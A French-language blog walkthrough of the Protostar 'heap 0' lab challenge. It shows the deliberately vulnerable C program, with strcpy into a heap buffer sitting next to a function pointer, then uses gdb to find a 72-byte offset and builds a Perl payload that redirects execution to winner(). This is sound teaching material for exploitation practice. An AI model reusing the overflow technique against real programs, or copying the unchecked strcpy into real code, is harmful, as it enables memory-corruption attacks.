Protostar – heap 0

Aujourd’hui nous allons réaliser le challenge heap 0 de la VM Protostar .

Cette machine virtuelle est disponible sur le site web  https://exploit-exercises.com/download/ .

Le but de challenge est d’exploiter un binaire qui a une faille de type heap overflow , c’est à dire un buffer overflow sur un buffer qui est alloué dans le heap , le « tas » en français.

Les buffers alloués dans le heap sont généralement alloués avec la fonction malloc ou une de ses dérivées …

Voici le code source du binaire à exploiter :

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}
heap 0

Pour ce binaire le but est d’exploiter un buffer overflow sur le buffer d->name  à partir du premier arguments donnée au programme . Celui ci est copié dans le buffer name avec strcpy donc sans vérification de la taille ,  le programme est donc sujet au buffer overflow.

Le but de notre exploitation sera simplement de lancer la fonction « winner » , en écrasant le pointeur de fonction fp en lui donnant l’adresse de « winner » pour qu’elle lance cette fonction au lieu de « nowinner ».

Lançons le binaire :

user@protostar:/opt/protostar/bin$ ./heap0 test
data is at 0x804a008, fp is at 0x804a050
level has not been passed

pour trouver le nombre d’octets à écrire pour écraser fp  on peut soit utiliser un pattern cyclique ou calculer simplement la différence entre l’adresse de fp et celle de data .

Adresse fp - Adresse data = Nombre d'octets à écrire pour écraser fp
0x804a050 - 0x804a008 = 72

Essayons donc d’écrire 72 octets puis d’écraser fp avec « BBBB » soit 0x42424242 :

user@protostar:/opt/protostar/bin$ gdb -q ./heap0 
Reading symbols from /opt/protostar/bin/heap0...done.
(gdb) run $(perl -e 'print "A"x72,"BBBB"')
Starting program: /opt/protostar/bin/heap0 $(perl -e 'print "A"x72,"BBBB"')
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Lorsque notre binaire arrive au lancement de la fonction fp EIP est ecrasé par 0x42424242 donc par nos « B » .

Maintenant il suffit de remplacer les « B » par l’adresse de la fonction winner en little endian que l’on récupère avec gdb :

(gdb) p winner
$1 = {void (void)} 0x8048464 <winner>

Notre payload sera donc « A »x72 + « \x64\x84\x04\x08 »

Essayons le :

user@protostar:/opt/protostar/bin$ ./heap0 $(perl -e 'print "A"x72,"\x64\x84\x04\x08"')
data is at 0x804a008, fp is at 0x804a050
level passed
exploitation

« level passed » est affiché , la fonction winner à bien été éxecutée , nous avons réussi le challenge .

 

Merci pour votre lecture !

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.